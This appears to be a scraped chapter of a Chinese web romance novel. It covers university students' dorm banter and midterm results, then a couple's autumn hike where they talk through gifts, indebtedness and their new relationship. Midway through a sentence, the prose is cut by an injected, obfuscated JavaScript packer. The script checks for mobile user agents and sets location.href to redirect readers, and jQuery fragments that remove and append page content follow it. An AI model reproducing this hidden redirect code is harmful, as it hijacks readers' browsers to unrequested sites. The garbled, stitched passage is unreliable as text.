86. 朋友之名

作品:《等他先开口

    医大校运会不强制参加,不爱凑热闹的难得有三天假。直到天边染上一抹橘色,能明显区分出食堂亮没亮灯,蔡杨才下床洗漱。


    门锁转动,他闻声回头。


    许松年手指挂俩塑料袋同时捏一罐可乐进门。


    “刚考完期中,去什么图书馆?”


    “写实践报告。”


    “也不急这一时吧。”


    许松年没接话,把打包的饭放在蔡杨桌面侧身往自己床位走,因为递过来时身子倾斜,背包上的挂件受惯性作用向下坠。


    羽毛球钩的针织挂件。


    蔡杨看了一眼,没在意,上手解塑料袋,忽然不对劲再回头,看清羽毛球挂件旁还有两朵花。


    “你什么时候喜欢这种风格?”


    “什么风格?”


    许松年背对他拉开椅子没回头。


    “书包那个。”


    “哦,我女朋友送的,还送了我一筒球,明天要不用我的打?”


    “嗯?”


    蔡杨完全停了手上动作。哗啦的塑料袋声止住,就只有靠门那两位打呼噜的声音。夜爬完七点多才回来,蔡杨已经是醒得算早那个。


    “你刚刚说什么,再说一遍。”


    “哦,我女朋友送——”


    “停!”


    许松年也转过身看他,笑得有点欠,欠得蔡杨想起来揪着他问。


    “不就一个晚上吗?你怎么就有女朋友了,你不说追人家,你追了吗?怎么就,你TM。”


    蔡杨憋不出什么话,情绪先于理智替他开口。


    “命好,她也喜欢我,没办法。”


    “真服了,早知道不给你转钱,可乐算你请我。”


    他桌面还有几颗陈皮糖,蔡杨顺手也抓走,不过许松年心情好,对这样的抢劫没什么想法,大方到把还没接收的转账退了回去。


    “那你周末不和萌妹出去玩跟我打什么球。”


    “我女朋友啊。”


    许松年尾音拉得长,像楼下不知道谁电动车滴滴响一样烦人。


    “她最近考期中挺累的,周末还是好好休息吧,下周再说。”


    食堂打包盒不行,还没完全揭开就从中间裂开,沾蔡杨一手水蒸气。他边抽纸边问许松年:“明天是用萌妹送你的球打吗?”


    他醒来就看到摆在许松年桌上那筒蓝绿配色的球,能蹭一点是一点。


    “当然。”


    “不是。”


    “滚。”


    ——


    再好的天气七点多起来都不美丽,太阳晃眼,本就睁不开的眼睛眯得更严重了。江今澄现在理解为什么有时候边缘和许松年朋友圈看起来不像个正常人。


    【7:43早八想死】


    【许松年:我也】


    【买早饭的人好多】


    【许松年:我这也是】


    理论上教室禁止饮食,但早八教室全是窸窸窣窣吃早餐的声音。投影幕布缓缓放下来,高代老师关上前门清清嗓。


    “期中卷子已经改完了,大家希望放到期末总评里还是现在就公布。”


    铃声适时响起,躁动混着揉纸袋塑料袋抽纸翻书手机震动等等纷繁复杂的声线。随后动态二维码出现在幕布上,躁动又渐渐平息,大家都忙着签到。


    “好,那多数服从少数,课后我把成绩表转到群里。有十来位同学没有及格我也标红了,期末要努力,我们这门课三七开,卷面成绩还是挺重要的。”


    这根本就不是问他们意见,不过怎么会有人考一百。


    江今澄点开表格细细看完也想不明白怎么会有人考满分,明明卷子上有一半题都和平时做的不一样。


    【你期中考试会公布成绩吗】


    【许松年:会,还有排名】


    排名?她这儿倒是没排名,但想排也很容易,Excle点几下的事。


    【你们真是双及格制?】


    【许松年:是,卷面不到六十直接挂,不捞】


    【虽然苦了你,但我可以放心看病了】


    【[动画表情]】


    “哎你们看下教务系统,数分好像也出成绩了。”


    曲陶靠着椅背身子后仰和她们说话。


    江今澄立刻切出微信登上教务系统,看完又不太死心,再看一眼,没看错。


    “数分不会也有人满分吧。”


    “应该不会,我感觉数分比高代难,你俩多少?”


    “八十六。”


    “九十。”


    齐容比了个九。


    “哈哈哈哈哈哈哈哈哈。”


    曲陶笑得很夸张,在她们都不确定要断在哪个音节时立刻哭丧脸道:“八十三。”


    “还行还行,挺高的了。”


    “真挺高的,刚刚数分老师发群公告说九十五分以上不超过十个人。”


    在群公告之后,横幅又弹出许松年消息。


    【许松年:周末去雀湖吗?晴天应该拍照好看】


    【去,周六吧,大概十一点我们地铁口见】


    【许松年:我去你学校门口吧,方便点】


    【OK】


    江林到了秋天晴日很多,阳光澄澈清透,穿过金黄的梧桐叶,落下晃动的光影,像是江林最好的季节。雀湖在山上,江今澄不想坐观光车也觉得不高,两人就边走边聊往上爬。


    “你带学生证了吗?”


    “带了。”


    “那就好,学生票半价,怕你忘了。”


    “其实我还知道一条不付门票也能进去的路。”


    “不会是那种,崎岖又没人的小路。”


    山上景区,总有管理不到的地方,另辟蹊径也不是不可能。


    “嗯,下次再来可以试试。”


    “为什么下次?”


    “穿裙子走那可能会被树枝划到。”


    许松年说完江今澄低头看了眼自己的咖色半身裙。


    今天这身还是曲陶和齐容帮她搭的,连贝雷帽和围巾都帮她参谋好,但江今澄怕爬山热死摆手拒绝了。


    这个季节江林旅游的人多,他们走的也是拍照最好看的一条道,走在前面的人有时会突然停下来拍照。她和许松年也很默契地从两侧绕开。


    再走到一起,周遭空气似乎冷了些,坡也陡,往上爬的每一步阻力都很大。


    “要拉着我吗?”


    许松年向她伸手。


    浅灰色毛衣看着毛茸茸很软糯,江今澄还是想省力点,点头握住他手腕。许松年胳膊是没什么肉,不用力也能感受到硌人的骨头。


    “你支付宝是不是给我转了一千块钱。”


    “嗯,刚发现?”


    “前几天就看到了。”


    不少APP只能用支付宝付钱,每个月江今澄拿到生活费都会往银行卡转几百块钱。前几天去洗衣房洗衣服发现付款方式由xx银行储蓄卡变成了支付宝余额。


    她点进去查记录,才发现**年的人陌生人给她转了一千块钱,时间是上周五凌晨两点。


    除了许松年,还能是谁。


    “那怎么现在问我,我以为你接受了。”


    “因为,在手机上发消息,容易有误会。一模一样的话,肯定也会有不同的意思。还是面对面好。”


    “哦,面对面好。”


    许松年嘴角带笑轻声重复了一遍,梧桐树沙沙作响,听得江今澄有点别扭,很快岔开了话题。


    “你怎么知道我手机号?”


    “你哥说的。”


    问边缘的话,倒是合理了。


    “我好像不知道你手机号,要不你给我打个电话存一下。”


    “回去发给你吧。”


    现在掏手机的话,江今澄搭上来的手恐怕要放下去了。


    “行。”


    “你是,钱多的花不完吗?”


    这听起来有点像在找茬,江今澄换了个说法:“你是对关系好的人都比较大方吗?”


    高考结束后,江今澄和杜宁不在一个省,平时也会给对方点个奶茶小蛋糕充当惊喜,但也仅限于此。


    “嗯,对你更大方一点。”


    连着两辆观光车过去,急风和日光同时落在她脸上,江今澄隐约觉得脸颊发红。


    “那我,我下次再送你别的,你有什么想要的吗?”


    “没有,你不用送我。”


    “啊,那我,欠你有点多。”


    高中时候是,上周海底捞是,现在还是。


    “这不算欠,我想给你,你接受就好了。就像你想送我球。你接受了我开心,我接受了你也开心。”


    “可是球没那么贵。”


    她和许松年付出的价值不平等。


    “你不是不学化学吗?”


    “嗯,不学。”


    江今澄点头。


    “我们俩像化学方程式吗?”


    什么奇奇怪怪的问题,江今澄不懂摇摇头。


    “谈恋爱又不是化学方程式,还要配平。不是说收到礼物就要回个同等的回去。”


    高中他送江今澄东西就发现她很担心亏欠别人,不过那时他没有任何立场,但现在不一样。


    “江今澄,你愿意和我出来玩就很开心。”


    “这应该的吧。”


    两个人在一起了,对方想见面没有特殊情况当然要答应。


    “这不是应该。你会有你的事情忙,我也会有我的,愿意为对方抽时间本身就是特殊。”


    看江今澄懵懵懂懂地点头,许松年有些不好的预感。


    “你还和别的男生出来过?”


    “不不不,那倒没有。”


    “真没有,我不喜欢和不熟的人呆太久。你不知道吗?当时那通电话可是打给你了。”


    江今澄眨巴着眼睛看他。


    “好像有这回事。”


    “什么好像,本来就有。”


    江今澄松开手拍了下许松年。


    毛衣被握得紧贴皮肤,她手移开袖口便有了空隙,风不算冷,但灌进去,本就不多的温热也渐渐消散。


    “想自己走?”


    “到了。”


    江今澄抬手指指面前用黑栅栏围起来的检票口。


    人多,也没查他们学生证。


    雀湖确实漂亮,落羽杉红得不统一,树影倒映在水面树干浸在水中,风吹过水面也漾出一圈圈涟漪,像一副渐变的油画。


    也不用专门挑哪个机位拍照好看,看哪个缝隙架三脚架的人最多,等他们拍完站过去就好。


    雀湖和另一个景区连着,来都来了,顺便都逛了。不知是太阳好还是确实到了江林最好的季节,红枫黄银杏,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782304|174544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乌桕树和黄连木更是染了四季的颜色,可谓橙黄橘绿,美得鲜明却不张扬。


    景区烤肠是比外面好吃。


    “请你。”


    门票许松年帮她买了,烤肠总该她请。


    游客是很多,但和他们这样走走就在长椅上坐着吃东西聊天的不多。


    香樟树有一半叶子变黄变红,一起风就簌簌往下落,但不是直直往下坠,打着旋慢悠悠地落。江今澄很喜欢这样无所事事地晒太阳,觉得自己像一棵树,在吸收天地之精华。


    “我现在觉得你那天说得对。”


    “什么说得对?”


    “我应该白天再和你表白。”


    “嗯?”


    当时怎么劝都要开口的人,现在反悔了?


    “当时只想问问你有没有男朋友,然后慢慢追你,没想到说着说着表白了。更没想到,你会答应我。太仓促,什么都没准备。”


    “你不会想再表白一次吧。”


    江今澄看了眼周围劝他:“别别别,一次就够了。而且那样挺好的,我们说明白就行。”


    平平淡淡最好,太盛大,总有握不住的感觉。


    “你是不希望我答应你?喜欢追人?”


    许松年曾暗示过她怪癖,难道就是这个?


    “和你当时说的一样,我以为你会再观察我一段时间。我没觉得你喜欢我喜欢到会立刻答应。”


    和江今澄顾虑的一样,许松年也不确认江今澄对他好出于性格好还是偏袒。故而总是在试探,试探她会不会同样走近其他男生,试探自己会不会成为她的例外。


    江今澄倒也不避讳他的试探,说的也都是真心话,但太真诚,更难分辨其中有没有夹杂私心。


    “其实,我答应你不是因为你喜欢我。”


    “我发现我们的相处很早之前就越界了。我不会和别人坐在长椅上晒太阳,也不会和别人聊有些近乎剖析自我的话。但那时我没感觉到你的特殊,以为我们是好朋友,甚至觉得一直这样当朋友就很好。因为一旦谈恋爱就只有分手和结婚两种结果,相比去赌这个概率,似乎当朋友更好。”


    十几米外环卫工人用扫帚沿着板砖缝将黄连木树叶扫在一起,橙黄参半,明明如霞,许松年盯着扬起又落下的树叶,想分散注意力,但一颗心还是系在江今澄身上。


    话音刚落就接上江今澄的话。


    “那怎么突然不想和我当朋友了?”


    明明之前他每次试探都得不到确切的回应。


    “应该,是在游园会那天吧。”


    她人生唯一一次不知道为什么的选择,就是高考志愿选了江林。


    为什么选江林,当时边缘问她她说不出来,现在又一次列出理由,列来列去,没什么非去不可的客观理由。


    “我就是因为你才来江林,也可以说,我来江林就是为了你。”


    她就是因为一个人一句话来的江林。


    江今澄太害怕别人为她牺牲什么,故而同样不希望别人觉得自己牺牲了什么,所以那天,她和许松年说来江林不是因为他。


    她怕和一个人产生过深的羁绊,因为有峰就有谷,江今澄更喜欢平淡如水长流不息的联系。


    如果许松年不喜欢她,如果许松年遇到更喜欢的人,江今澄都会默默退出祝福,但现在,许松年喜欢的人是她。


    而她也恰好,想和许松年走近。


    “比起说我喜欢你我爱你,我更希望我们可以一直走下去,淡淡的平静的顺利的长久的。而朋友是不能做到这种程度的,我不能用朋友的名义和你做不符合朋友关系的事。如果这样不清不楚下去,对你很不公平。”


    越界的关系需要重新界定。


    “你是为了给我一个名分答应我?”


    “是。因为我不可能把你当朋友了,我一定会向你表白,只是时间问题,即便你那天不开口等我想明白也会向你坦白。”


    无论做什么事,江今澄总是在等别人开口,等别人一而再再而三地开口,反复推脱确认对方真的想清楚才能答应。喜欢一个人也是这样,她一直在等许松年开口,其实等来等去,她一直在等自己开口。


    “刚刚说的,是你内心剖析?”


    许松年盯她盯得太认真,江今澄有些动摇是不是用词不准确,但确实没有更合适的词了。


    “是。”


    “你知道每次听见你这样剖析自己,我都觉得你在对我表白。”


    因为能直白地表达对一个人的喜欢,希望对方留在自己身边,是江今澄能表现出来最高程度的在意。


    许松年一直明白这个道理。


    只是他偶尔也会贪心,想江今澄对他说喜欢,说爱。


    “啊?”


    “嗯。你不是只对我剖析自我嘛,那就是对我表白。我很早就答应你的表白了。”


    许松年说得好不要脸,但江今澄一直默许他的不要脸。


    “你想和我结婚吗?”


    远处梧桐树下走过一群带小黄帽秋游的小学生,声音吵闹但有些距离,与近处游人走过枯黄落叶清脆断裂的咔嚓声同时附在人耳。


    秋天平和舒缓也喧嚣匆促,荒芜却也繁茂。人的感知无限放大,一切真实又不真实。


    江今澄在矛盾中,答了句更大的矛盾。


    “这犯法吧。”